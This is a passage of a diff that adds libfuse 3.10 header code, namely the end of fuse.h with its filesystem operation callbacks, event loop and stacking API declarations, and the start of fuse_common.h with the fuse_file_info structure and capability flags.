     630 + * argument must be used.
     631 + *
     632 + * For F_GETLK operation, the library will first check currently
     633 + * held locks, and if a conflicting lock is found it will return
     634 + * information without calling this method. This ensures, that
     635 + * for local locks the l_pid field is correctly filled in. The
     636 + * results may not be accurate in case of race conditions and in
     637 + * the presence of hard links, but it's unlikely that an
     638 + * application would rely on accurate GETLK results in these
     639 + * cases. If a conflicting lock is not found, this method will be
     640 + * called, and the filesystem may fill out l_pid by a meaningful
     641 + * value, or it may leave this field zero.
     642 + *
     643 + * For F_SETLK and F_SETLKW the l_pid field will be set to the pid
     644 + * of the process performing the locking operation.
     645 + *
     646 + * Note: if this method is not implemented, the kernel will still
     647 + * allow file locking to work locally. Hence it is only
     648 + * interesting for network filesystems and similar.
     649 + */
     650 + int (*lock) (const char *, struct fuse_file_info *, int cmd,
     651 + struct flock *);
     652 + 
     653 + /**
     654 + * Change the access and modification times of a file with
     655 + * nanosecond resolution
     656 + *
     657 + * This supersedes the old utime() interface. New applications
     658 + * should use this.
     659 + *
     660 + * `fi` will always be NULL if the file is not currently open, but
     661 + * may also be NULL if the file is open.
     662 + *
     663 + * See the utimensat(2) man page for details.
     664 + */
     665 + int (*utimens) (const char *, const struct timespec tv[2],
     666 + struct fuse_file_info *fi);
     667 + 
     668 + /**
     669 + * Map block index within file to block index within device
     670 + *
     671 + * Note: This makes sense only for block device backed filesystems
     672 + * mounted with the 'blkdev' option
     673 + */
     674 + int (*bmap) (const char *, size_t blocksize, uint64_t *idx);
     675 + 
     676 +#if FUSE_USE_VERSION < 35
     677 + int (*ioctl) (const char *, int cmd, void *arg,
     678 + struct fuse_file_info *, unsigned int flags, void *data);
     679 +#else
     680 + /**
     681 + * Ioctl
     682 + *
     683 + * flags will have FUSE_IOCTL_COMPAT set for 32bit ioctls in
     684 + * 64bit environment. The size and direction of data is
     685 + * determined by _IOC_*() decoding of cmd. For _IOC_NONE,
     686 + * data will be NULL, for _IOC_WRITE data is out area, for
     687 + * _IOC_READ in area and if both are set in/out area. In all
     688 + * non-NULL cases, the area is of _IOC_SIZE(cmd) bytes.
     689 + *
     690 + * If flags has FUSE_IOCTL_DIR then the fuse_file_info refers to a
     691 + * directory file handle.
     692 + *
     693 + * Note : the unsigned long request submitted by the application
     694 + * is truncated to 32 bits.
     695 + */
     696 + int (*ioctl) (const char *, unsigned int cmd, void *arg,
     697 + struct fuse_file_info *, unsigned int flags, void *data);
     698 +#endif
     699 + 
     700 + /**
     701 + * Poll for IO readiness events
     702 + *
     703 + * Note: If ph is non-NULL, the client should notify
     704 + * when IO readiness events occur by calling
     705 + * fuse_notify_poll() with the specified ph.
     706 + *
     707 + * Regardless of the number of times poll with a non-NULL ph
     708 + * is received, single notification is enough to clear all.
     709 + * Notifying more times incurs overhead but doesn't harm
     710 + * correctness.
     711 + *
     712 + * The callee is responsible for destroying ph with
     713 + * fuse_pollhandle_destroy() when no longer in use.
     714 + */
     715 + int (*poll) (const char *, struct fuse_file_info *,
     716 + struct fuse_pollhandle *ph, unsigned *reventsp);
     717 + 
     718 + /** Write contents of buffer to an open file
     719 + *
     720 + * Similar to the write() method, but data is supplied in a
     721 + * generic buffer. Use fuse_buf_copy() to transfer data to
     722 + * the destination.
     723 + *
     724 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     725 + * expected to reset the setuid and setgid bits.
     726 + */
     727 + int (*write_buf) (const char *, struct fuse_bufvec *buf, off_t off,
     728 + struct fuse_file_info *);
     729 + 
     730 + /** Store data from an open file in a buffer
     731 + *
     732 + * Similar to the read() method, but data is stored and
     733 + * returned in a generic buffer.
     734 + *
     735 + * No actual copying of data has to take place, the source
     736 + * file descriptor may simply be stored in the buffer for
     737 + * later data transfer.
     738 + *
     739 + * The buffer must be allocated dynamically and stored at the
     740 + * location pointed to by bufp. If the buffer contains memory
     741 + * regions, they too must be allocated using malloc(). The
     742 + * allocated memory will be freed by the caller.
     743 + */
     744 + int (*read_buf) (const char *, struct fuse_bufvec **bufp,
     745 + size_t size, off_t off, struct fuse_file_info *);
     746 + /**
     747 + * Perform BSD file locking operation
     748 + *
     749 + * The op argument will be either LOCK_SH, LOCK_EX or LOCK_UN
     750 + *
     751 + * Nonblocking requests will be indicated by ORing LOCK_NB to
     752 + * the above operations
     753 + *
     754 + * For more information see the flock(2) manual page.
     755 + *
     756 + * Additionally fi->owner will be set to a value unique to
     757 + * this open file. This same value will be supplied to
     758 + * ->release() when the file is released.
     759 + *
     760 + * Note: if this method is not implemented, the kernel will still
     761 + * allow file locking to work locally. Hence it is only
     762 + * interesting for network filesystems and similar.
     763 + */
     764 + int (*flock) (const char *, struct fuse_file_info *, int op);
     765 + 
     766 + /**
     767 + * Allocates space for an open file
     768 + *
     769 + * This function ensures that required space is allocated for specified
     770 + * file. If this function returns success then any subsequent write
     771 + * request to specified range is guaranteed not to fail because of lack
     772 + * of space on the file system media.
     773 + */
     774 + int (*fallocate) (const char *, int, off_t, off_t,
     775 + struct fuse_file_info *);
     776 + 
     777 + /**
     778 + * Copy a range of data from one file to another
     779 + *
     780 + * Performs an optimized copy between two file descriptors without the
     781 + * additional cost of transferring data through the FUSE kernel module
     782 + * to user space (glibc) and then back into the FUSE filesystem again.
     783 + *
     784 + * In case this method is not implemented, applications are expected to
     785 + * fall back to a regular file copy. (Some glibc versions did this
     786 + * emulation automatically, but the emulation has been removed from all
     787 + * glibc release branches.)
     788 + */
     789 + ssize_t (*copy_file_range) (const char *path_in,
     790 + struct fuse_file_info *fi_in,
     791 + off_t offset_in, const char *path_out,
     792 + struct fuse_file_info *fi_out,
     793 + off_t offset_out, size_t size, int flags);
     794 + 
     795 + /**
     796 + * Find next data or hole after the specified offset
     797 + */
     798 + off_t (*lseek) (const char *, off_t off, int whence, struct fuse_file_info *);
     799 +};
     800 + 
     801 +/** Extra context that may be needed by some filesystems
     802 + *
     803 + * The uid, gid and pid fields are not filled in case of a writepage
     804 + * operation.
     805 + */
     806 +struct fuse_context {
     807 + /** Pointer to the fuse object */
     808 + struct fuse *fuse;
     809 + 
     810 + /** User ID of the calling process */
     811 + uid_t uid;
     812 + 
     813 + /** Group ID of the calling process */
     814 + gid_t gid;
     815 + 
     816 + /** Process ID of the calling thread */
     817 + pid_t pid;
     818 + 
     819 + /** Private filesystem data */
     820 + void *private_data;
     821 + 
     822 + /** Umask of the calling process */
     823 + mode_t umask;
     824 +};
     825 + 
     826 +/**
     827 + * Main function of FUSE.
     828 + *
     829 + * This is for the lazy. This is all that has to be called from the
     830 + * main() function.
     831 + *
     832 + * This function does the following:
     833 + * - parses command line options, and handles --help and
     834 + * --version
     835 + * - installs signal handlers for INT, HUP, TERM and PIPE
     836 + * - registers an exit handler to unmount the filesystem on program exit
     837 + * - creates a fuse handle
     838 + * - registers the operations
     839 + * - calls either the single-threaded or the multi-threaded event loop
     840 + *
     841 + * Most file systems will have to parse some file-system specific
     842 + * arguments before calling this function. It is recommended to do
     843 + * this with fuse_opt_parse() and a processing function that passes
     844 + * through any unknown options (this can also be achieved by just
     845 + * passing NULL as the processing function). That way, the remaining
     846 + * options can be passed directly to fuse_main().
     847 + *
     848 + * fuse_main() accepts all options that can be passed to
     849 + * fuse_parse_cmdline(), fuse_new(), or fuse_session_new().
     850 + *
     851 + * Option parsing skips argv[0], which is assumed to contain the
     852 + * program name. This element must always be present and is used to
     853 + * construct a basic ``usage: `` message for the --help
     854 + * output. argv[0] may also be set to the empty string. In this case
     855 + * the usage message is suppressed. This can be used by file systems
     856 + * to print their own usage line first. See hello.c for an example of
     857 + * how to do this.
     858 + *
     859 + * Note: this is currently implemented as a macro.
     860 + *
     861 + * The following error codes may be returned from fuse_main():
     862 + * 1: Invalid option arguments
     863 + * 2: No mount point specified
     864 + * 3: FUSE setup failed
     865 + * 4: Mounting failed
     866 + * 5: Failed to daemonize (detach from session)
     867 + * 6: Failed to set up signal handlers
     868 + * 7: An error occurred during the life of the file system
     869 + *
     870 + * @param argc the argument counter passed to the main() function
     871 + * @param argv the argument vector passed to the main() function
     872 + * @param op the file system operation
     873 + * @param private_data Initial value for the `private_data`
     874 + * field of `struct fuse_context`. May be overridden by the
     875 + * `struct fuse_operations.init` handler.
     876 + * @return 0 on success, nonzero on failure
     877 + *
     878 + * Example usage, see hello.c
     879 + */
     880 +/*
     881 + int fuse_main(int argc, char *argv[], const struct fuse_operations *op,
     882 + void *private_data);
     883 +*/
     884 +#define fuse_main(argc, argv, op, private_data) \
     885 + fuse_main_real(argc, argv, op, sizeof(*(op)), private_data)
     886 + 
     887 +/* ----------------------------------------------------------- *
     888 + * More detailed API *
     889 + * ----------------------------------------------------------- */
     890 + 
     891 +/**
     892 + * Print available options (high- and low-level) to stdout. This is
     893 + * not an exhaustive list, but includes only those options that may be
     894 + * of interest to an end-user of a file system.
     895 + *
     896 + * The function looks at the argument vector only to determine if
     897 + * there are additional modules to be loaded (module=foo option),
     898 + * and attempts to call their help functions as well.
     899 + *
     900 + * @param args the argument vector.
     901 + */
     902 +void fuse_lib_help(struct fuse_args *args);
     903 + 
     904 +/**
     905 + * Create a new FUSE filesystem.
     906 + *
     907 + * This function accepts most file-system independent mount options
     908 + * (like context, nodev, ro - see mount(8)), as well as the
     909 + * FUSE-specific mount options from mount.fuse(8).
     910 + *
     911 + * If the --help option is specified, the function writes a help text
     912 + * to stdout and returns NULL.
     913 + *
     914 + * Option parsing skips argv[0], which is assumed to contain the
     915 + * program name. This element must always be present and is used to
     916 + * construct a basic ``usage: `` message for the --help output. If
     917 + * argv[0] is set to the empty string, no usage message is included in
     918 + * the --help output.
     919 + *
     920 + * If an unknown option is passed in, an error message is written to
     921 + * stderr and the function returns NULL.
     922 + *
     923 + * @param args argument vector
     924 + * @param op the filesystem operations
     925 + * @param op_size the size of the fuse_operations structure
     926 + * @param private_data Initial value for the `private_data`
     927 + * field of `struct fuse_context`. May be overridden by the
     928 + * `struct fuse_operations.init` handler.
     929 + * @return the created FUSE handle
     930 + */
     931 +#if FUSE_USE_VERSION == 30
     932 +struct fuse *fuse_new_30(struct fuse_args *args, const struct fuse_operations *op,
     933 + size_t op_size, void *private_data);
     934 +#define fuse_new(args, op, size, data) fuse_new_30(args, op, size, data)
     935 +#else
     936 +struct fuse *fuse_new(struct fuse_args *args, const struct fuse_operations *op,
     937 + size_t op_size, void *private_data);
     938 +#endif
     939 + 
     940 +/**
     941 + * Mount a FUSE file system.
     942 + *
     943 + * @param mountpoint the mount point path
     944 + * @param f the FUSE handle
     945 + *
     946 + * @return 0 on success, -1 on failure.
     947 + **/
     948 +int fuse_mount(struct fuse *f, const char *mountpoint);
     949 + 
     950 +/**
     951 + * Unmount a FUSE file system.
     952 + *
     953 + * See fuse_session_unmount() for additional information.
     954 + *
     955 + * @param f the FUSE handle
     956 + **/
     957 +void fuse_unmount(struct fuse *f);
     958 + 
     959 +/**
     960 + * Destroy the FUSE handle.
     961 + *
     962 + * NOTE: This function does not unmount the filesystem. If this is
     963 + * needed, call fuse_unmount() before calling this function.
     964 + *
     965 + * @param f the FUSE handle
     966 + */
     967 +void fuse_destroy(struct fuse *f);
     968 + 
     969 +/**
     970 + * FUSE event loop.
     971 + *
     972 + * Requests from the kernel are processed, and the appropriate
     973 + * operations are called.
     974 + *
     975 + * For a description of the return value and the conditions when the
     976 + * event loop exits, refer to the documentation of
     977 + * fuse_session_loop().
     978 + *
     979 + * @param f the FUSE handle
     980 + * @return see fuse_session_loop()
     981 + *
     982 + * See also: fuse_loop_mt()
     983 + */
     984 +int fuse_loop(struct fuse *f);
     985 + 
     986 +/**
     987 + * Flag session as terminated
     988 + *
     989 + * This function will cause any running event loops to exit on
     990 + * the next opportunity.
     991 + *
     992 + * @param f the FUSE handle
     993 + */
     994 +void fuse_exit(struct fuse *f);
     995 + 
     996 +#if FUSE_USE_VERSION < 32
     997 +int fuse_loop_mt_31(struct fuse *f, int clone_fd);
     998 +#define fuse_loop_mt(f, clone_fd) fuse_loop_mt_31(f, clone_fd)
     999 +#else
     1000 +/**
     1001 + * FUSE event loop with multiple threads
     1002 + *
     1003 + * Requests from the kernel are processed, and the appropriate
     1004 + * operations are called. Request are processed in parallel by
     1005 + * distributing them between multiple threads.
     1006 + *
     1007 + * For a description of the return value and the conditions when the
     1008 + * event loop exits, refer to the documentation of
     1009 + * fuse_session_loop().
     1010 + *
     1011 + * Note: using fuse_loop() instead of fuse_loop_mt() means you are running in
     1012 + * single-threaded mode, and that you will not have to worry about reentrancy,
     1013 + * though you will have to worry about recursive lookups. In single-threaded
     1014 + * mode, FUSE will wait for one callback to return before calling another.
     1015 + *
     1016 + * Enabling multiple threads, by using fuse_loop_mt(), will cause FUSE to make
     1017 + * multiple simultaneous calls into the various callback functions given by your
     1018 + * fuse_operations record.
     1019 + *
     1020 + * If you are using multiple threads, you can enjoy all the parallel execution
     1021 + * and interactive response benefits of threads, and you get to enjoy all the
     1022 + * benefits of race conditions and locking bugs, too. Ensure that any code used
     1023 + * in the callback function of fuse_operations is also thread-safe.
     1024 + *
     1025 + * @param f the FUSE handle
     1026 + * @param config loop configuration
     1027 + * @return see fuse_session_loop()
     1028 + *
     1029 + * See also: fuse_loop()
     1030 + */
     1031 +int fuse_loop_mt(struct fuse *f, struct fuse_loop_config *config);
     1032 +#endif
     1033 + 
     1034 +/**
     1035 + * Get the current context
     1036 + *
     1037 + * The context is only valid for the duration of a filesystem
     1038 + * operation, and thus must not be stored and used later.
     1039 + *
     1040 + * @return the context
     1041 + */
     1042 +struct fuse_context *fuse_get_context(void);
     1043 + 
     1044 +/**
     1045 + * Get the current supplementary group IDs for the current request
     1046 + *
     1047 + * Similar to the getgroups(2) system call, except the return value is
     1048 + * always the total number of group IDs, even if it is larger than the
     1049 + * specified size.
     1050 + *
     1051 + * The current fuse kernel module in linux (as of 2.6.30) doesn't pass
     1052 + * the group list to userspace, hence this function needs to parse
     1053 + * "/proc/$TID/task/$TID/status" to get the group IDs.
     1054 + *
     1055 + * This feature may not be supported on all operating systems. In
     1056 + * such a case this function will return -ENOSYS.
     1057 + *
     1058 + * @param size size of given array
     1059 + * @param list array of group IDs to be filled in
     1060 + * @return the total number of supplementary group IDs or -errno on failure
     1061 + */
     1062 +int fuse_getgroups(int size, gid_t list[]);
     1063 + 
     1064 +/**
     1065 + * Check if the current request has already been interrupted
     1066 + *
     1067 + * @return 1 if the request has been interrupted, 0 otherwise
     1068 + */
     1069 +int fuse_interrupted(void);
     1070 + 
     1071 +/**
     1072 + * Invalidates cache for the given path.
     1073 + *
     1074 + * This calls fuse_lowlevel_notify_inval_inode internally.
     1075 + *
     1076 + * @return 0 on successful invalidation, negative error value otherwise.
     1077 + * This routine may return -ENOENT to indicate that there was
     1078 + * no entry to be invalidated, e.g., because the path has not
     1079 + * been seen before or has been forgotten; this should not be
     1080 + * considered to be an error.
     1081 + */
     1082 +int fuse_invalidate_path(struct fuse *f, const char *path);
     1083 + 
     1084 +/**
     1085 + * The real main function
     1086 + *
     1087 + * Do not call this directly, use fuse_main()
     1088 + */
     1089 +int fuse_main_real(int argc, char *argv[], const struct fuse_operations *op,
     1090 + size_t op_size, void *private_data);
     1091 + 
     1092 +/**
     1093 + * Start the cleanup thread when using option "remember".
     1094 + *
     1095 + * This is done automatically by fuse_loop_mt()
     1096 + * @param fuse struct fuse pointer for fuse instance
     1097 + * @return 0 on success and -1 on error
     1098 + */
     1099 +int fuse_start_cleanup_thread(struct fuse *fuse);
     1100 + 
     1101 +/**
     1102 + * Stop the cleanup thread when using option "remember".
     1103 + *
     1104 + * This is done automatically by fuse_loop_mt()
     1105 + * @param fuse struct fuse pointer for fuse instance
     1106 + */
     1107 +void fuse_stop_cleanup_thread(struct fuse *fuse);
     1108 + 
     1109 +/**
     1110 + * Iterate over cache removing stale entries
     1111 + * use in conjunction with "-oremember"
     1112 + *
     1113 + * NOTE: This is already done for the standard sessions
     1114 + *
     1115 + * @param fuse struct fuse pointer for fuse instance
     1116 + * @return the number of seconds until the next cleanup
     1117 + */
     1118 +int fuse_clean_cache(struct fuse *fuse);
     1119 + 
     1120 +/*
     1121 + * Stacking API
     1122 + */
     1123 + 
     1124 +/**
     1125 + * Fuse filesystem object
     1126 + *
     1127 + * This is opaque object represents a filesystem layer
     1128 + */
     1129 +struct fuse_fs;
     1130 + 
     1131 +/*
     1132 + * These functions call the relevant filesystem operation, and return
     1133 + * the result.
     1134 + *
     1135 + * If the operation is not defined, they return -ENOSYS, with the
     1136 + * exception of fuse_fs_open, fuse_fs_release, fuse_fs_opendir,
     1137 + * fuse_fs_releasedir and fuse_fs_statfs, which return 0.
     1138 + */
     1139 + 
     1140 +int fuse_fs_getattr(struct fuse_fs *fs, const char *path, struct stat *buf,
     1141 + struct fuse_file_info *fi);
     1142 +int fuse_fs_rename(struct fuse_fs *fs, const char *oldpath,
     1143 + const char *newpath, unsigned int flags);
     1144 +int fuse_fs_unlink(struct fuse_fs *fs, const char *path);
     1145 +int fuse_fs_rmdir(struct fuse_fs *fs, const char *path);
     1146 +int fuse_fs_symlink(struct fuse_fs *fs, const char *linkname,
     1147 + const char *path);
     1148 +int fuse_fs_link(struct fuse_fs *fs, const char *oldpath, const char *newpath);
     1149 +int fuse_fs_release(struct fuse_fs *fs, const char *path,
     1150 + struct fuse_file_info *fi);
     1151 +int fuse_fs_open(struct fuse_fs *fs, const char *path,
     1152 + struct fuse_file_info *fi);
     1153 +int fuse_fs_read(struct fuse_fs *fs, const char *path, char *buf, size_t size,
     1154 + off_t off, struct fuse_file_info *fi);
     1155 +int fuse_fs_read_buf(struct fuse_fs *fs, const char *path,
     1156 + struct fuse_bufvec **bufp, size_t size, off_t off,
     1157 + struct fuse_file_info *fi);
     1158 +int fuse_fs_write(struct fuse_fs *fs, const char *path, const char *buf,
     1159 + size_t size, off_t off, struct fuse_file_info *fi);
     1160 +int fuse_fs_write_buf(struct fuse_fs *fs, const char *path,
     1161 + struct fuse_bufvec *buf, off_t off,
     1162 + struct fuse_file_info *fi);
     1163 +int fuse_fs_fsync(struct fuse_fs *fs, const char *path, int datasync,
     1164 + struct fuse_file_info *fi);
     1165 +int fuse_fs_flush(struct fuse_fs *fs, const char *path,
     1166 + struct fuse_file_info *fi);
     1167 +int fuse_fs_statfs(struct fuse_fs *fs, const char *path, struct statvfs *buf);
     1168 +int fuse_fs_opendir(struct fuse_fs *fs, const char *path,
     1169 + struct fuse_file_info *fi);
     1170 +int fuse_fs_readdir(struct fuse_fs *fs, const char *path, void *buf,
     1171 + fuse_fill_dir_t filler, off_t off,
     1172 + struct fuse_file_info *fi, enum fuse_readdir_flags flags);
     1173 +int fuse_fs_fsyncdir(struct fuse_fs *fs, const char *path, int datasync,
     1174 + struct fuse_file_info *fi);
     1175 +int fuse_fs_releasedir(struct fuse_fs *fs, const char *path,
     1176 + struct fuse_file_info *fi);
     1177 +int fuse_fs_create(struct fuse_fs *fs, const char *path, mode_t mode,
     1178 + struct fuse_file_info *fi);
     1179 +int fuse_fs_lock(struct fuse_fs *fs, const char *path,
     1180 + struct fuse_file_info *fi, int cmd, struct flock *lock);
     1181 +int fuse_fs_flock(struct fuse_fs *fs, const char *path,
     1182 + struct fuse_file_info *fi, int op);
     1183 +int fuse_fs_chmod(struct fuse_fs *fs, const char *path, mode_t mode,
     1184 + struct fuse_file_info *fi);
     1185 +int fuse_fs_chown(struct fuse_fs *fs, const char *path, uid_t uid, gid_t gid,
     1186 + struct fuse_file_info *fi);
     1187 +int fuse_fs_truncate(struct fuse_fs *fs, const char *path, off_t size,
     1188 + struct fuse_file_info *fi);
     1189 +int fuse_fs_utimens(struct fuse_fs *fs, const char *path,
     1190 + const struct timespec tv[2], struct fuse_file_info *fi);
     1191 +int fuse_fs_access(struct fuse_fs *fs, const char *path, int mask);
     1192 +int fuse_fs_readlink(struct fuse_fs *fs, const char *path, char *buf,
     1193 + size_t len);
     1194 +int fuse_fs_mknod(struct fuse_fs *fs, const char *path, mode_t mode,
     1195 + dev_t rdev);
     1196 +int fuse_fs_mkdir(struct fuse_fs *fs, const char *path, mode_t mode);
     1197 +int fuse_fs_setxattr(struct fuse_fs *fs, const char *path, const char *name,
     1198 + const char *value, size_t size, int flags);
     1199 +int fuse_fs_getxattr(struct fuse_fs *fs, const char *path, const char *name,
     1200 + char *value, size_t size);
     1201 +int fuse_fs_listxattr(struct fuse_fs *fs, const char *path, char *list,
     1202 + size_t size);
     1203 +int fuse_fs_removexattr(struct fuse_fs *fs, const char *path,
     1204 + const char *name);
     1205 +int fuse_fs_bmap(struct fuse_fs *fs, const char *path, size_t blocksize,
     1206 + uint64_t *idx);
     1207 +#if FUSE_USE_VERSION < 35
     1208 +int fuse_fs_ioctl(struct fuse_fs *fs, const char *path, int cmd,
     1209 + void *arg, struct fuse_file_info *fi, unsigned int flags,
     1210 + void *data);
     1211 +#else
     1212 +int fuse_fs_ioctl(struct fuse_fs *fs, const char *path, unsigned int cmd,
     1213 + void *arg, struct fuse_file_info *fi, unsigned int flags,
     1214 + void *data);
     1215 +#endif
     1216 +int fuse_fs_poll(struct fuse_fs *fs, const char *path,
     1217 + struct fuse_file_info *fi, struct fuse_pollhandle *ph,
     1218 + unsigned *reventsp);
     1219 +int fuse_fs_fallocate(struct fuse_fs *fs, const char *path, int mode,
     1220 + off_t offset, off_t length, struct fuse_file_info *fi);
     1221 +ssize_t fuse_fs_copy_file_range(struct fuse_fs *fs, const char *path_in,
     1222 + struct fuse_file_info *fi_in, off_t off_in,
     1223 + const char *path_out,
     1224 + struct fuse_file_info *fi_out, off_t off_out,
     1225 + size_t len, int flags);
     1226 +off_t fuse_fs_lseek(struct fuse_fs *fs, const char *path, off_t off, int whence,
     1227 + struct fuse_file_info *fi);
     1228 +void fuse_fs_init(struct fuse_fs *fs, struct fuse_conn_info *conn,
     1229 + struct fuse_config *cfg);
     1230 +void fuse_fs_destroy(struct fuse_fs *fs);
     1231 + 
     1232 +int fuse_notify_poll(struct fuse_pollhandle *ph);
     1233 + 
     1234 +/**
     1235 + * Create a new fuse filesystem object
     1236 + *
     1237 + * This is usually called from the factory of a fuse module to create
     1238 + * a new instance of a filesystem.
     1239 + *
     1240 + * @param op the filesystem operations
     1241 + * @param op_size the size of the fuse_operations structure
     1242 + * @param private_data Initial value for the `private_data`
     1243 + * field of `struct fuse_context`. May be overridden by the
     1244 + * `struct fuse_operations.init` handler.
     1245 + * @return a new filesystem object
     1246 + */
     1247 +struct fuse_fs *fuse_fs_new(const struct fuse_operations *op, size_t op_size,
     1248 + void *private_data);
     1249 + 
     1250 +/**
     1251 + * Factory for creating filesystem objects
     1252 + *
     1253 + * The function may use and remove options from 'args' that belong
     1254 + * to this module.
     1255 + *
     1256 + * For now the 'fs' vector always contains exactly one filesystem.
     1257 + * This is the filesystem which will be below the newly created
     1258 + * filesystem in the stack.
     1259 + *
     1260 + * @param args the command line arguments
     1261 + * @param fs NULL terminated filesystem object vector
     1262 + * @return the new filesystem object
     1263 + */
     1264 +typedef struct fuse_fs *(*fuse_module_factory_t)(struct fuse_args *args,
     1265 + struct fuse_fs *fs[]);
     1266 +/**
     1267 + * Register filesystem module
     1268 + *
     1269 + * If the "-omodules=*name*_:..." option is present, filesystem
     1270 + * objects are created and pushed onto the stack with the *factory_*
     1271 + * function.
     1272 + *
     1273 + * @param name_ the name of this filesystem module
     1274 + * @param factory_ the factory function for this filesystem module
     1275 + */
     1276 +#define FUSE_REGISTER_MODULE(name_, factory_) \
     1277 + fuse_module_factory_t fuse_module_ ## name_ ## _factory = factory_
     1278 + 
     1279 +/** Get session from fuse object */
     1280 +struct fuse_session *fuse_get_session(struct fuse *f);
     1281 + 
     1282 +/**
     1283 + * Open a FUSE file descriptor and set up the mount for the given
     1284 + * mountpoint and flags.
     1285 + *
     1286 + * @param mountpoint reference to the mount in the file system
     1287 + * @param options mount options
     1288 + * @return the FUSE file descriptor or -1 upon error
     1289 + */
     1290 +int fuse_open_channel(const char *mountpoint, const char *options);
     1291 + 
     1292 +#ifdef __cplusplus
     1293 +}
     1294 +#endif
     1295 + 
     1296 +#endif /* FUSE_H_ */
     1297 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_common.h
     1 +/* FUSE: Filesystem in Userspace
     2 + Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
     3 + 
     4 + This program can be distributed under the terms of the GNU LGPLv2.
     5 + See the file COPYING.LIB.
     6 +*/
     7 + 
     8 +/** @file */
     9 + 
     10 +#if !defined(FUSE_H_) && !defined(FUSE_LOWLEVEL_H_)
     11 +#error "Never include <fuse_common.h> directly; use <fuse.h> or <fuse_lowlevel.h> instead."
     12 +#endif
     13 + 
     14 +#ifndef FUSE_COMMON_H_
     15 +#define FUSE_COMMON_H_
     16 + 
     17 +#include "fuse_opt.h"
     18 +#include "fuse_log.h"
     19 +#include <stdint.h>
     20 +#include <sys/types.h>
     21 + 
     22 +/** Major version of FUSE library interface */
     23 +#define FUSE_MAJOR_VERSION 3
     24 + 
     25 +/** Minor version of FUSE library interface */
     26 +#define FUSE_MINOR_VERSION 10
     27 + 
     28 +#define FUSE_MAKE_VERSION(maj, min) ((maj) * 100 + (min))
     29 +#define FUSE_VERSION FUSE_MAKE_VERSION(FUSE_MAJOR_VERSION, FUSE_MINOR_VERSION)
     30 + 
     31 +#ifdef __cplusplus
     32 +extern "C" {
     33 +#endif
     34 + 
     35 +/**
     36 + * Information about an open file.
     37 + *
     38 + * File Handles are created by the open, opendir, and create methods and closed
     39 + * by the release and releasedir methods. Multiple file handles may be
     40 + * concurrently open for the same file. Generally, a client will create one
     41 + * file handle per file descriptor, though in some cases multiple file
     42 + * descriptors can share a single file handle.
     43 + */
     44 +struct fuse_file_info {
     45 + /** Open flags. Available in open() and release() */
     46 + int flags;
     47 + 
     48 + /** In case of a write operation indicates if this was caused
     49 + by a delayed write from the page cache. If so, then the
     50 + context's pid, uid, and gid fields will not be valid, and
     51 + the *fh* value may not match the *fh* value that would
     52 + have been sent with the corresponding individual write
     53 + requests if write caching had been disabled. */
     54 + unsigned int writepage : 1;
     55 + 
     56 + /** Can be filled in by open, to use direct I/O on this file. */
     57 + unsigned int direct_io : 1;
     58 + 
     59 + /** Can be filled in by open. It signals the kernel that any
     60 + currently cached file data (ie., data that the filesystem
     61 + provided the last time the file was open) need not be
     62 + invalidated. Has no effect when set in other contexts (in
     63 + particular it does nothing when set by opendir()). */
     64 + unsigned int keep_cache : 1;
     65 + 
     66 + /** Indicates a flush operation. Set in flush operation, also
     67 + maybe set in highlevel lock operation and lowlevel release
     68 + operation. */
     69 + unsigned int flush : 1;
     70 + 
     71 + /** Can be filled in by open, to indicate that the file is not
     72 + seekable. */
     73 + unsigned int nonseekable : 1;
     74 + 
     75 + /* Indicates that flock locks for this file should be
     76 + released. If set, lock_owner shall contain a valid value.
     77 + May only be set in ->release(). */
     78 + unsigned int flock_release : 1;
     79 + 
     80 + /** Can be filled in by opendir. It signals the kernel to
     81 + enable caching of entries returned by readdir(). Has no
     82 + effect when set in other contexts (in particular it does
     83 + nothing when set by open()). */
     84 + unsigned int cache_readdir : 1;
     85 + 
     86 + /** Padding. Reserved for future use*/
     87 + unsigned int padding : 25;
     88 + unsigned int padding2 : 32;
     89 + 
     90 + /** File handle id. May be filled in by filesystem in create,
     91 + * open, and opendir(). Available in most other file operations on the
     92 + * same file handle. */
     93 + uint64_t fh;
     94 + 
     95 + /** Lock owner id. Available in locking operations and flush */
     96 + uint64_t lock_owner;
     97 + 
     98 + /** Requested poll events. Available in ->poll. Only set on kernels
     99 + which support it. If unsupported, this field is set to zero. */
     100 + uint32_t poll_events;
     101 +};
     102 + 
     103 +/**
     104 + * Configuration parameters passed to fuse_session_loop_mt() and
     105 + * fuse_loop_mt().
     106 + */
     107 +struct fuse_loop_config {
     108 + /**
     109 + * whether to use separate device fds for each thread
     110 + * (may increase performance)
     111 + */
     112 + int clone_fd;
     113 + 
     114 + /**
     115 + * The maximum number of available worker threads before they
     116 + * start to get deleted when they become idle. If not
     117 + * specified, the default is 10.
     118 + *
     119 + * Adjusting this has performance implications; a very small number
     120 + * of threads in the pool will cause a lot of thread creation and
     121 + * deletion overhead and performance may suffer. When set to 0, a new
     122 + * thread will be created to service every operation.
     123 + */
     124 + unsigned int max_idle_threads;
     125 +};
     126 + 
     127 +/**************************************************************************
     128 + * Capability bits for 'fuse_conn_info.capable' and 'fuse_conn_info.want' *
     129 + **************************************************************************/
     130 + 
     131 +/**
     132 + * Indicates that the filesystem supports asynchronous read requests.
     133 + *
     134 + * If this capability is not requested/available, the kernel will
     135 + * ensure that there is at most one pending read request per
     136 + * file-handle at any time, and will attempt to order read requests by
     137 + * increasing offset.
     138 + *
     139 + * This feature is enabled by default when supported by the kernel.
     140 + */
     141 +#define FUSE_CAP_ASYNC_READ (1 << 0)
     142 + 
     143 +/**
     144 + * Indicates that the filesystem supports "remote" locking.
     145 + *
     146 + * This feature is enabled by default when supported by the kernel,
     147 + * and if getlk() and setlk() handlers are implemented.
     148 + */
     149 +#define FUSE_CAP_POSIX_LOCKS (1 << 1)
     150 + 
     151 +/**
     152 + * Indicates that the filesystem supports the O_TRUNC open flag. If
     153 + * disabled, and an application specifies O_TRUNC, fuse first calls
     154 + * truncate() and then open() with O_TRUNC filtered out.
     155 + *
     156 + * This feature is enabled by default when supported by the kernel.
     157 + */
     158 +#define FUSE_CAP_ATOMIC_O_TRUNC (1 << 3)
     159 + 
     160 +/**
     161 + * Indicates that the filesystem supports lookups of "." and "..".
     162 + *
     163 + * This feature is disabled by default.
     164 + */
     165 +#define FUSE_CAP_EXPORT_SUPPORT (1 << 4)
     166 + 
     167 +/**
     168 + * Indicates that the kernel should not apply the umask to the
     169 + * file mode on create operations.
     170 + *
